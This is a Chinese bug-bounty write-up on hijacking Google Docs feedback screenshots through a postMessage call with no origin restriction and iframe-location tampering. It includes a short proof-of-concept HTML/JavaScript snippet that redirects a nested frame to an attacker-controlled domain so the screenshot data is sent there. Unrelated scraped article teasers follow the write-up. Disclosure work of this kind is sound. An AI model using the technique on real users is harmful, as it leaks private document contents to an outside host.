挖洞经验 | 利用反馈功能漏洞劫持谷歌文档用户当前工作界面截图

访客4年前关于黑客接单1139


本文中,作者利用谷歌的问题反馈机制功能,通过更改其中调用框架iframe的URL路径,可实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。一起来看看。

谷歌问题反馈发送功能

谷歌在其大部分应用产品中都有一个名叫“反馈发送”( Send Feedback)的功能,用于用户在使用其产品过程中的问题反馈,该功能中设置了问题描述的截图添加选项。如下所示:

目前来看,该“反馈发送”是谷歌旗下应用的常见功能,范围涵盖包括谷歌主站点https://www.google.com在内的其它应用或产品,并且还通过Iframe方式集成到了谷歌的其它域名网站下。

漏洞发现

基于上述谷歌的“反馈发送”功能来看,假设我们在使用谷歌文档-Google Docs (https://docs.google.com/document),可以从路径Help--> Send Feedback来打开“反馈发送”功能来提交一些使用问题。打开“反馈发送”功能后,我们可以看到,此时的谷歌文档会以Iframe方式,对你当前的谷歌文档工作区域部份进行截图。由于谷歌主站www.google.com和Google docs (docs.google.com) 分别属于不同的源,所以,这里“反馈发送”功能的截图渲染操作可能就涉及到了跨源(域)通信,当然,PostMessage机制在这里就派上用场了。大概的一个流程就是:Google Docs会通过postmessage机制把其当前的工作文档截图RGB颜色模式发送到谷歌主站www.google.com的iframe框架,其截图RGB颜色模式最终会被postmessage *** 发到feedback.googleusercontent.com,然后以Base64编码send到主站www.google.com的iframe框架中去。

最后,还得在其截图反馈中添加文字描述,点击“Submit Feedback”提交反馈后,postmessage *** 会一并把图文发送到https://www.google.com。总体流程如下:

漏洞测试

了解了上述的反馈发送功能后,我首先想在其中的沙箱域名feedback.googleusercontent.com测试一下XSS漏洞,我预想利用XSS漏洞去劫持其中传输的用来渲染RGB像素点的值,这样就可以间接窃取其截图。一开始我比较有把握觉得沙箱域名feedback.googleusercontent.com应该有XSS,在我朋友的帮助下,我们前后历时5天,但连XSS的影子都没发现,就快要放弃了。一周后,我在Twitter中看到了白帽filedescriptor之前发过的一个视频,视频是关于Intigriti XSS挑战赛的解题思路。

看了filedescriptor发的视频后,我学到了一招。就是,如果当前的跨域域名缺少X-Frame-Header消息头,则可以修改其iframe涉及的域名网站路径。就比如,如果域名abc.com调用的iframe涉及efg.com,但是若abc.com缺少X-Frame-Header消息头,则可以用frames.location *** 把其中涉及iframe的efg.com更改为恶意域名evil.com。

如何来利用呢?是不是如果把其中的跨域域名修改成为我自己控制的网站域名,那我的网站中就会收到谷歌postmessage过来的数据?我决定一试,于是把上述涉及iframe调用的沙箱域名feedback.googleusercontent.com更改为了我的网站域名-geekycat.in,可是,不行,啥也没有。谷歌反馈发送功能中的postmessage *** 如下:

windowRef.postmessage("<Data>","https://feedback.googleusercontent.com");

所以,即使我把iframe调用路径域名更改成我的域名网站,但是由于postmessage *** 中是feedback.googleusercontent.com,所以还是不匹配,就不能成功。但之后,我观察到谷歌反馈发送提交后的最后一个postmessage *** 为windowRef.postmessage("<Data>","*"),其中竟然没有域名限制,那再来试试看吧!

但等等,之前我说过,这里还需要主域名缺少X-Frame header消息头,怎么办呢?幸好经过检查发现,Google docs真的没有X-Frame header消息头。但谷歌还具备其它点击劫持防护措施,而且很多功能选项在iframe框架机制中都是禁用的。这里,我又发现了另外一个LiveOverflow
发布的漏洞利用视频Google Docs XSS Vulnerability,其中讲述了利用postMessage()实现Google Docs 的XSS漏洞,非常具有针对性,完全我能应用到这里的漏洞测试中来。

漏洞利用

有了上述珠玉在前的参考,最终我构造的POC如下:

<html>
? ? <iframe src="https://docs.google.com/document/ID" />
? ? <script>
? ? ? ?//pseudo code
? ? ? 
? ? ? 
? ? ? ? setTimeout(function(){ exp(); }, 6000);

? ? ? ? function exp(){
? ? ? ? setInterval(function(){?
? ? ? ? ?window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
? ? ? ? }, 100);
? ? ? ? }
? ? </script>
</html>

上述代码意思是以setTimeout方式在6秒后加载iframe框架,另外一个问题是,只有当用户点击了“Submit Feedback”提交反馈后iframe框架才会被加载,因此,在框架的location中,我们对嵌入其中的恶意URL链接设置了100毫秒的刷新时间,以防用户未及时点击“Submit Feedback”。

参考来源:geekcat,编译整理:clouds,转载请注明来自Freebuf.com


相关文章

你好,如果我的游戏账号被盗。并且已经修改信息,

imul rax, 1920h ==> imul 0xffffffff, 1920h但是在GCC会话初始化的过程中,客户端提供的信道名称并不在服务器端的白名单中,因此攻击者将能够设置另一个名为“...

五险一金如何查询(是否交了五险一金有这么几个途径)

  针对用人公司是不是交纳了五险一金,它是你一直在进到企业以前就应该是彻底了解的,我们在开展新员工入职交谈前,企业人事部门就应当搞清楚对你说,企业是不是交纳五险一金,交纳的规范多少钱等,自然有的企业沒...

如何提高速度?(提高速度的7个方式)

1、法特莱克跑(fartlek)的由来 法特莱克跑是斯堪的那维亚人发明的一种利用地形、地貌或人为设置的加速与减速段落来发展耐力的方法。 在20世纪30年代,当时瑞典中长跑教练戈斯塔·霍迈尔就已经意...

梅子淘源公司简历(梅子淘源商城现状)

梅子淘源公司简历(梅子淘源商城现状)

简单易用 我们梅子淘源的团队是由著名互联网公司、电子商务公司、连锁品牌公司前高管组建的;我们应用互联网思维和众筹模式,在用户和农人之间建立信任机制,缩短供应渠道,让消费者决定生产什么产品;平台服务于...

十万块钱做什么理财好(十万块钱做什么理财风

十万块钱做什么理财好(十万块钱做什么理财风

文 | 希财网 如果有10万块钱用来理财,同时又不想承担本金损失风险,用来做什么理财比较好?随着保本理财逐渐退出市场,以后还能实现本金不会亏损的理财产品,可能也就只剩下银行存款、国债、年金保险等几种...

家里为什么不能养茶花【家里适合养茶花吗】

家里为什么不能养茶花(家里适合养茶花吗)   家中为什么不可以养山茶花(家中合适养山茶花吗)山茶花是一种十分漂亮的盆栽花卉,它一直在晚秋时节绽开 ,形状幽美,颜色鲜丽,味道清香。那麼山茶花合适饲养在...